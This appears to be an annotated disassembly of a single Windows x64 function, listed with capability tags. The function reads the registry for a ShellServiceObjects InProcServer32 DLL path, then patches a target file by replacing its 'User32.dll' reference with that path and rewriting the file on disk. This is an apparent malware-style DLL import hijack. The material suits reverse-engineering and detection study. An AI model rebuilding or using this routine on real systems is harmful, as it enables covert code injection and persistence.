Function at 0x140083fa0
Capabilities:
Delete file
Get file size
Query or enumerate registry value
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x310
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1402ba4e0]
xor rax, rsp
mov qword [rsp + 0x300], rax
mov r12, rdx
mov r14, rcx
mov qword [rsp + 0x68], rcx
xor r15d, r15d
mov r13d, r15d
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x80], 0x68ddbb56
mov eax, 0x9d1d
mov word [rsp + 0x84], ax
mov dword [rsp + 0x86], 0xc5894fd9
mov dword [rsp + 0x8a], 0x622adac0
mov word [rsp + 0x8e], 0x9253
mov ebx, r15d
mov dword [rsp + 0x58], ebx
cmp ebx, 1
jae 0x1400842a8
mov byte [rsp + 0xe0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0xe1]
call fcn.14010da60
mov byte [rsp + 0xa0], 0
xor eax, eax
mov qword [rsp + 0xa1], rax
mov qword [rsp + 0xa9], rax
mov qword [rsp + 0xb1], rax
mov qword [rsp + 0xb9], rax
mov qword [rsp + 0xc1], rax
mov qword [rsp + 0xc9], rax
mov qword [rsp + 0xd1], rax
mov dword [rsp + 0xd9], eax
mov word [rsp + 0xdd], ax
mov byte [rsp + 0xdf], al
mov eax, ebx
add rax, rax
lea rsi, [rsp + rax*8 + 0x80]
mov r8d, 0x40
lea rdx, [rsp + 0xa0]
mov rcx, rsi
call fcn.1400c8cb0
lea r9, [rsp + 0xa0]
lea r8, str.SOFTWAREMicrosoftWindowsCurrentVersionexplorerShellServiceObjects
lea rdx, [0x140202678]
lea rcx, [rsp + 0xe0]
call fcn.14010d754
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, [rsp + 0xe0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400842a1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0xa0]
lea rdx, str.CLSID_sInProcServer32
lea rcx, [rsp + 0xe0]
call fcn.14010d754
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, [rsp + 0xe0]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400842a1
mov byte [rsp + 0x1f0], al
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x1f1]
call fcn.14010da60
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x54], 0x104
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140084291
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x48], r15
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r14
repne scasb al, byte [rdi]
not rcx
and ecx, ecx
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xe0]
mov rcx, 0xffffffff80000000
call fcn.1400e24d0
test eax, eax
jne 0x140084291
mov rax, qword [r12 + 0xb0]
mov dword [rax + 0x24fc], 1
mov rcx, qword [r12 + 0xb0]
mov eax, dword [rsi]
mov dword [rcx + 0x2500], eax
mov eax, dword [rsi + 4]
mov dword [rcx + 0x2504], eax
mov eax, dword [rsi + 8]
mov dword [rcx + 0x2508], eax
mov eax, dword [rsi + 0xc]
mov dword [rcx + 0x250c], eax
mov rcx, qword [r12 + 0xb0]
add rcx, 0x2510
mov r8d, 0x104
lea rdx, [rsp + 0x1f0]
call fcn.1400c9950
mov r13d, 1
mov dword [rsp + 0x50], r13d
jmp 0x1400842b1
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400842a1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc ebx
jmp 0x140084027
test r15d, r15d
je 0x140084456
mov rax, qword [str._User32.dll___]
mov qword [rsp + 0x90], rax
mov eax, dword [0x14021fd50]
mov dword [rsp + 0x98], eax
movzx eax, word [0x14021fd54]
mov word [rsp + 0x9c], ax
movzx eax, byte [0x14021fd56]
mov byte [rsp + 0x9e], al
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0010000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140084456
mov esi, r15d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r14d, eax
mov dword [rsp + 0x40], r14d
mov ebx, eax
mov ecx, eax
call fcn.14010a204
mov r15, rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x54]
mov r8d, r14d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x90]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r14, rcx
sub rbx, rcx
sub rbx, 0xa
mov qword [rsp + 0x70], rbx
mov rdi, r15
mov qword [rsp + 0x60], r15
test rbx, rbx
je 0x1400843e3
mov r8, r14
lea rdx, [rsp + 0x90]
mov rcx, rdi
call fcn.14010fbe0
test eax, eax
jne 0x1400843d1
lea esi, [rax + 1]
mov rcx, qword [r12 + 0xb0]
add rcx, 0x2510
nop
movzx eax, byte [rcx]
mov byte [rdi], al
inc rcx
inc rdi
test al, al
jne 0x1400843c0
jmp 0x1400843e3
dec rbx
mov qword [rsp + 0x70], rbx
inc rdi
mov qword [rsp + 0x60], rdi
jmp 0x140084391
test esi, esi
je 0x14008444d
mov rdi, qword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14008444d
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.14010d304
nop
mov eax, r13d
jmp 0x14008445f
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.14010d170
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret